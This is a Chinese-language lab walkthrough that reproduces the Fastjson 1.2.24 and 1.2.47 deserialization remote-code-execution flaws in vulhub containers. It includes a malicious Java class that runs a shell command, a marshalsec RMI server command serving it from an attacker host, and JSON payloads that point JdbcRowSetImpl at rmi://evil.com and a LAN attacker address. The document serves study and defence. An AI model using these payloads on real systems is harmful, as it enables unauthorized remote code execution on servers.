漏洞复现
01-环境搭建
02-Tomcat
03-Nginx
04-Apache
05-JBoss
06-WebLogic
07-Nacos
08-Struts2
09-Spring
10-Log4j2
11-Shiro
12-FastJson
13-RuoYi
14-ThinkPHP
-
+
12-FastJson
浏览
2
# 一、Fastjson  Fastjson 是阿里巴巴开发的一款高性能 Java JSON 处理库,主要用于实现 Java 对象与 JSON 格式的相互转换(序列化与反序列化),因处理速度快、功能丰富而被广泛应用于 Java 后端开发。 > 核心功能 序列化:将 Java 对象(包括复杂类型如集合、泛型、自定义类等)转换为 JSON 字符串; 反序列化:将 JSON 字符串解析为 Java 对象,支持通过 @type 字段指定目标类(即 autoType 功能,自动识别并实例化对应类)。 > 反序列化的核心 在 FastJson 将 JSON 字符串反序列化为指定 Java 类的过程中,会调用目标类的 setter 方法。 FastJson 反序列化的核心是将 JSON 字段的值映射到 Java 对象的属性中。 默认情况下,它会根据 JSON 字段名匹配 Java 类的属性,并通过setter 方法为属性赋值,规则如下: - 若 JSON 中有字段 name,FastJson 会寻找对应属性 name 的 setter 方法 setName(...),通过该方法将值传入; - 若属性是 public 修饰的(无需 setter),FastJson 会直接为字段赋值(跳过 setter),但这种情况较少见(通常属性会设为 private,通过 setter 访问)。 # 二、Fastjson 1.2.24 ## 漏洞描述 Fastjson 是阿里开源 Java JSON 解析库,1.2.24 及更早版本默认开启 AutoType 自动类型机制,反序列化时允许 JSON 中使用@type指定 Java 类全限定名,没有对加载类做安全校验.。 攻击者构造恶意 JSON,指定 JDK 内置 gadget 类com.sun.rowset.JdbcRowSetImpl;Fastjson 反序列化时实例化该类,自动调用 setter 方法: 1. dataSourceName赋值为攻击者的rmi://或ldap://恶意服务地址 2. autoCommit:true触发内部connect()方法,执行 JNDI lookup 远程查询 3. 目标 JVM 访问攻击者 RMI/LDAP 服务器,获取恶意 Reference 对象,远程加载恶意字节码类,实现未授权远程代码执行 RCE ## 影响范围 - fastjson <= 1.2.24 ## 漏洞原理 Fastjson 在解析 JSON 时,会根据 @type 字段指定的类名自动实例化对应类(即 autoType 功能)。 1.2.24 版本中,autoType 未完全禁用,且对危险类的黑名单校验不严格,导致攻击者可指定如 com.sun.rowset.JdbcRowSetImpl,这类包含 JNDI 调用逻辑的类。 dbcRowSetImpl类的setAutoCommit()会调用connect()函数,connect()函数如下:  ```java // 初始化一个 JNDI 命名和目录服务的上下文环境 //在 Java EE 环境中,应用服务器负责管理各种资源(如数据库连接池、消息队列等)。这行代码相当于拿到了一个“资源目录的入口”,准备开始查找资源。 InitialContext var1 = new InitialContext(); //根据名称查找数据源,并将其转换为 DataSource 对象。 DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); //this.getDataSourceName() 会返回一个字符串 //参数为 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168 .88.1:1389/cvvfob","autoCommit":true} //Fastjson 解析到 @type 时,会去实例化JdbcRowSetImpl类,Fastjson会自动调用该类的setDataSourceName()方法,将攻击者的恶意LDAP务器地址赋值给内部变量。 ``` 所以在FastJson反序列化漏洞过程中,我们可以控制dataSourceName的值,也就是说满足了JNDI注入利用的条件。  ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd ./fastjson/1.2.24-rce/ root@ubuntu:~/vulhub/fastjson/1.2.24-rce# docker compose up -d ```   构造恶意类: ```java import java.lang.Runtime; import java.lang.Process; public class Evil{ static { try{ Runtime rt = Runtime.getRuntime(); String[] commands = {"touch","/tmp/test.txt"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } ``` 编译为class文件。  在当前目录下启动http服务。  使用 [marshalsec](https://github.com/mbechler/marshalsec) 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 Evil.class: ```cmd java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.4:8000/#Evil" 9999 ```  抓取访问数据包,发生到Repeater模块中,将get修改为post,且Content-Type修改为application/json,添加上请求数据。 ```json { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/TouchFile", "autoCommit":true } } ``` ``` { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.4:9999/Evil", "autoCommit":true } } ```  状态码虽然为500,但是文件已经写入成功。  RMI服务器的访问记录:  http服务器的请求记录:  ## 修复建议 - 升级版本 # 三、Fastjson 1.2.47 ## 漏洞描述 Fastjson 1.2.25 版本引入黑名单、默认关闭 AutoType 来修复 1.2.24,但内部存在类缓存TypeUtils.mappings机制。 - 当解析@type:"java.lang.Class"时,读取val指定类名,会把该类加载存入全局缓存,不会走黑名单校验。 - 同一个 JSON 数据包内,后面再次@type引用这个已经进入缓存的危险类时,优先读取缓存,跳过黑名单与 AutoType 开关检查,直接实例化对象。 - 继续使用com.sun.rowset.JdbcRowSetImpl gadget,dataSourceName指向攻击者 LDAP/RMI 服务,autoCommit:true触发 JNDI lookup,远程加载恶意类实现远程代码执行 RCE。 > 关键特点:不需要开启 AutoTypeSupport,关闭状态下依旧可以利用,危害比 1.2.24 更大。 ## 影响范围 - Fastjson = 1.2.47 ## 漏洞原理 Fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 JSON 字符串绕过白名单检测,成功执行任意命令。 Fastjson 的 autoType 功能用于在反序列化时根据 @type 字段自动识别并实例化目标类。 1.2.47 版本中,官方虽对 autoType 增加了黑名单和校验逻辑,但存在两个关键绕过点: 1. 类名格式绕过:通过在类名前添加特殊前缀(如 L + 类全名 + ;,模拟 JVM 内部类名格式),可绕过 autoType 对类名的校验; 2. 危险类利用:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类(JDK 内置)未被有效拦截。 该类的 _bytecodes 字段可存储恶意类的字节码,在反序列化过程中,TemplatesImpl 初始化时会通过 defineClass 方法加载字节码,触发恶意代码执行(无需 JNDI 中间服务)。 > 利用链 TemplatesImpl 是 JDK 中用于 XSLT 转换的类,其内部逻辑存在安全隐患: - 包含 _bytecodes 字段,可存储类的字节码数组; - 当调用 getOutputProperties() 等方法时,会触发 defineTransletClasses() 方法,通过类加载器将 _bytecodes 中的字节码加载为类,并实例化; - 若 _bytecodes 中是恶意类(含静态代码块或构造函数命令执行逻辑),加载时会自动执行恶意代码。 利用TemplatesImpl类直接加载恶意字节码(无需 JNDI,不受 JDK 版本限制)。 ## 漏洞复现 目标环境是 openjdk:8u102,这个版本没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制,我们可以简单利用 RMI 进行命令执行。 那么我们可以通过java.lang.Class提前加载JdbcRowSetImpl类绕过autoType限制,再实例化JdbcRowSetImpl触发 JNDI 注入。 依赖两个关键条件: - 目标类JdbcRowSetImpl未被 Fastjson 的黑名单拦截; - 依赖 JNDI 服务(如 RMI/LDAP)返回恶意类引用,且目标 JDK 版本较低(无 JNDI 防护)。 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd ./fastjson/1.2.47-rce/ root@ubuntu:~/vulhub/fastjson/1.2.47-rce# docker compose up -d ```  访问靶机地址。  构造恶意Java文件。 ```java // javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class Evil { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/maolin"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } ``` 将java文件编译为class文件。  在本地启动http服务。  使用 [marshalsec](https://github.com/mbechler/marshalsec) 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 Evil.class: ```cmd java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.4:8000/#Evil" 9999 ```  抓取数据包,发生到Repeater模块中,并且修改请求方式和Content-Type类型。  传入恶意的请求数据。 ```json { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/Exploit", "autoCommit":true } } ``` ```json { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.4:9999/Evil", "autoCommit":true } } ```  响应码虽然是400,但是写入成功。  查看rmi服务记录  访问http服务记录  ## 修复建议 - 升级版本
毛林
2026年11月15日 18:41
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~